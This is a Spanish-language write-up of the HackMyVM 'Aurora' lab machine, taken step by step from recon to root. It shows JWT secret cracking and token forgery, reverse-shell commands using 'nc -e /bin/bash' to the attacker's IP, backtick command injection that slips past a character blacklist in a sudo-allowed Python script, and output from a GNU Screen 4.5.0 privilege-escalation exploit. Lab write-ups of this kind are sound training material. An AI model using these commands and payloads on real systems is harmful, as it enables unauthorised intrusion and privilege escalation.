HackMyVM - Aurora

logo

  • Json Web Tokens
  • Abusing Python Script
  • GNU Screen 4.5.0

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.14

PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Escaneo de servicios

❯ nmap -sVC -v -p 22,3000 192.168.1.14

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 dbf946e520816ceec72508ab2251366c (RSA)
|   256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_  256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: Error
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 3000

❯ curl -s http://192.168.1.14:3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>

Enumeración de directorios con el método post ya que por el método get no lo acepta.

❯  wfuzz -c -t 200 --hc=404 -X POST -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.14:3000/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.14:3000/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                        
=====================================================================

000000053:   401        0 L      2 W        22 Ch       "login"                                                                                                                                        
000000825:   401        0 L      2 W        22 Ch       "Login"                                                                                                                                        
000002712:   400        0 L      6 W        29 Ch       "Register"                                                                                                                                     
000022423:   401        0 L      1 W        12 Ch       "execute"  

Login

Mando una petición POST a login y me muestra lo siguiente.

❯ curl -s -X POST http://192.168.1.14:3000/login;echo
Identifiants invalides

Register

En register y me dice que el rol no es válido.

❯ curl -s -X POST http://192.168.1.14:3000/Register;echo
The "role" field is not valid

Execute

En execute no estoy autorizado.

❯ curl -s -X POST http://192.168.1.14:3000/execute;echo
Unauthorized

Realizo un escaneo de rol y encuentra el rol user.

❯  wfuzz -c -t 200 --hc=404 --hw=6 -X POST -H "Content-Type:application/json" -w /usr/share/seclists/Discovery/Web-Content/api/objects-lowercase.txt -d '{"role":"FUZZ"}' "http://192.168.1.14:3000/Register"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.14:3000/Register
Total requests: 82

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                
=====================================================================

000000075:   500        0 L      5 W        32 Ch       "user"

Mando una petición POST con el rol user me dice que el campo username no puede ser nulo, necesita un usuario.

❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user"}';echo
Column 'username' cannot be null

Pruebo con el usuario admin y me dice que el usuario existe.

❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user", "username":"admin"}';echo
Username already exists

Si pongo mi nombre de usuario me responde que necesita una contraseña.

❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user", "username":"noname"}';echo
Column 'password' cannot be null

Me registro con mi nombre de usuario y le proporciono una contraseña.

❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user", "username":"noname", "password":"1234"}';echo
Registration OK

Una vez logueado me genera un token.

❯ curl -s -X POST http://192.168.1.14:3000/login -H "Content-Type:application/json" -d '{"role":"user", "username":"noname", "password":"1234"}';echo
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vbmFtZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgzMzAwMTYwfQ.8rLJ8E_Ke-hHfXJVnzwOpnrUxK72SmZj8fLkMD6trfU"}

Con el token obtenido creo un archivo con el nombre hash para pasarselo a john.

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vbmFtZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgzMzAwMTYwfQ.8rLJ8E_Ke-hHfXJVnzwOpnrUxK72SmZj8fLkMD6trfU" > hash

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nopassword       (?)

Me voy a JWT.io pego mi token y cambio los parámetros de username y rol.

jwtio.png

Y finalmente cambio your-256-bit-secret por nopassword. jwtio2.png

Enumero execute para buscar el parámetro value.

❯ wfuzz -c -t 200 --hc=404 --hw=63 -X POST -H "Content-Type:application/json" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMzAwMTYwfQ.Nk5sSPZpxyvzZrCoWXIAxl3MTUIfQP9sMHlkhA67JG4' -d '{"FUZZ":"value"}' -w /usr/share/seclists/Discovery/Web-Content/common.txt "http://192.168.1.14:3000/execute"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.14:3000/execute
Total requests: 4713

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000001163:   500        0 L      2 W        14 Ch       "command" 

Mando una petición por POST y obtengo el id del usuario ww-data.

❯ curl -X POST http://192.168.1.14:3000/execute -H "Content-Type: application/json" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMzAwMTYwfQ.Nk5sSPZpxyvzZrCoWXIAxl3MTUIfQP9sMHlkhA67JG4' -d '{"command":"id"}'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como tengo ejecución de comandos me mando una shell.

❯ curl -X POST http://192.168.1.14:3000/execute -H "Content-Type: application/json" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMzAwMTYwfQ.Nk5sSPZpxyvzZrCoWXIAxl3MTUIfQP9sMHlkhA67JG4' -d '{"command":"nc -e /bin/bash 192.168.1.18 1337"}'

Obtengo la shell.

❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 36780
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumero permisos de sudo.

www-data@aurora:~$ sudo -l

Matching Defaults entries for www-data on aurora:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on aurora:
    (doro) NOPASSWD: /usr/bin/python3 /home/doro/tools.py *

Archivo tools.py.

import os
import sys

def main():
    if len(sys.argv) < 2:
        print_help()
        return
    
    option = sys.argv[1]
    if option == "--ping":
        ping()
    elif option == "--traceroute":
        traceroute_ip()
    else:
        print("Invalid option.")
        print_help()

def print_help():
    print("Usage: python3 network_tool.py <option>")
    print("Options:")
    print("--ping           Ping an IP address")
    print("--traceroute     Perform a traceroute on an IP address")

def ping():
    ip_address = input("Enter an IP address: ")

    forbidden_chars = ["&", ";", "(", ")", "||", "|", ">", "<", "*", "?"]
    for char in forbidden_chars:
        if char in ip_address:
            print("Forbidden character found: {}".format(char))
            sys.exit(1)
    
    os.system('ping -c 2 ' + ip_address)

def traceroute_ip():
    ip_address = input("Enter an IP address: ")

    if not is_valid_ip(ip_address):
        print("Invalid IP address.")
        return
    
    traceroute_command = "traceroute {}".format(ip_address)
    os.system(traceroute_command)

def is_valid_ip(ip_address):
    octets = ip_address.split(".")
    if len(octets) != 4:
        return False
    for octet in octets:
        if not octet.isdigit() or int(octet) < 0 or int(octet) > 255:
            return False
    return True

if __name__ == "__main__":
    main()

La función ping() verifica si la dirección IP ingresada contiene caracteres prohibidos, si contiene caracteres prohibidos muestra un mensaje de error y finaliza el programa. Si la dirección IP no contiene caracteres prohibidos, se ejecutará el comando. Por otro lado, el uso de comillas invertidas permite la expansión de comandos.

Consigo pivotar de usuario www-data a doro de la siguiente forma.

www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: `nc -e /bin/bash 192.168.1.18 1234`

Obtengo la shell de usuario doro.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 55376
script /dev/null -c bash
Script started, output log file is '/dev/null'.
doro@aurora:/opt/login-app$ id
id
uid=1000(doro) gid=1000(doro) groups=1000(doro)

Hago una búsqeda de archivos con permisos SUID.

doro@aurora:~$ find / -perm -4000 2>/dev/null
/usr/bin/screen

Verifico la versión del binario screen.

doro@aurora:~$ /usr/bin/screen -v
Screen version 4.05.00 (GNU) 10-Dec-16

Encuentro este exploit y obtengo el root.

doro@aurora:/tmp$ ./exploit.sh 
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
    7 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-doro.

# script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@aurora:/etc# id
uid=0(root) gid=0(root) groups=0(root),1000(doro)

Y con esto ya tenemos resuelta la máquina Aurora.

Saludos!